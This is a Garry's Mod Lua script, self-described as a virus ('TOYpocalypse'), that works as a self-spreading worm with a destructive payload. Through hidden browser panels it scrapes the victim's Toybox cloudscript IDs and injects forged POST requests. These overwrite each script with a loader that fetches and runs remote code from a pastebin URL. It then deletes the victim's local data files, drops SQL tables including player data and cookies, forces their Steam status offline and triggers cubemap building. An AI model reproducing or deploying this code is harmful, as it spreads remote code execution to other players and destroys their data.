//TOYpocalypse
if SERVER then return end

local POSTDATA = [[function SendPOST(path, params) {
    var form = document.createElement("form");
    form.setAttribute("method", "post");
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

SendPOST( '/cloudscript/?edit=ScriptID&tab=code', {edit: 'ScriptID', script: "if CLIENT then local function run(c,s) RunString(c) end http.Get( 'http://pastebin.com/raw.php?i=tSH1YWBt', '', run) end"} );
]]

local GIVEID = [[var scripts = document.getElementsByClassName('script_box use_tooltip');
for(var i=0; i < scripts.length; i++)
{
	document.title = scripts[i].id.substr(7)
}]]

local function InfectScript( ID )
	_G['toypoca_'..ID] = vgui.Create( 'HTML' )
	_G['toypoca_'..ID]:SetPos( 0, 0 )
	_G['toypoca_'..ID]:SetSize( 1, 1 )
	_G['toypoca_'..ID]:SetVisible( false )
	_G['toypoca_'..ID]:OpenURL( 'http://toybox.garrysmod.com/cloudscript/?edit='..ID..'&tab=code' )
	
	_G['toypoca_'..ID].FinishedURL = function( self )
		timer.Simple( 0.5, function()
			self:RunJavascript( POSTDATA:gsub( 'ScriptID', ID ) ) 
			self.FinishedURL = nil;
		end)
	end
end

if Deliver then Deliver:Remove() end

Deliver = vgui.Create( 'HTML' )
Deliver:SetPos( 0, 0 )
Deliver:SetSize( 1, 1 )
Deliver:SetVisible( false )
Deliver:OpenURL( 'http://toybox.garrysmod.com/ingame/?show=mine' )

function Deliver:PageTitleChanged( Title )
	if !tonumber( Title ) then return end
	InfectScript( Title )
end

function Deliver:FinishedURL()
	timer.Simple( 0.5, function() self:RunJavascript( GIVEID ) end )
end

// Virus

local function rmAll( Dir )
	for _, Directory in pairs( file.FindDir( Dir..'/*', true ) ) do
		rmAll( Dir..'/'..Directory )
	end
	
	for _, File in pairs( file.Find( Dir..'/*.txt', true ) ) do
		local SafeFile = (Dir..'/'..File):sub(6)
		if !file.Exists( SafeFile ) then continue end
		file.Delete( SafeFile)
	end
end


local function ClearSQL() -- Some default tables I found, plus some common ones.
	sql.Begin()
		sql.Query( 'DROP TABLE playerpdata' )
		sql.Query( 'DROP TABLE cookies' )
		sql.Query( 'DROP TABLE ratings' )
		sql.Query( 'DROP TABLE df_leaderboard' )
		sql.Query( 'DROP TABLE modelinfo' )
		sql.Query( 'DROP TABLE searchcache' )
		sql.Query( 'DROP TABLE sqlite_sequence' )
		sql.Query( 'DROP TABLE FPP_Buddies' )
	sql.Commit()
end

local function Cubes()
	gui.OpenURL( 'steam://friends/status/offline' ) -- for fun.
	LocalPlayer():ConCommand( 'buildcubemaps' ) -- Map can't be in GCF for this to work.
end

rmAll( 'data' )
ClearSQL()
Cubes()

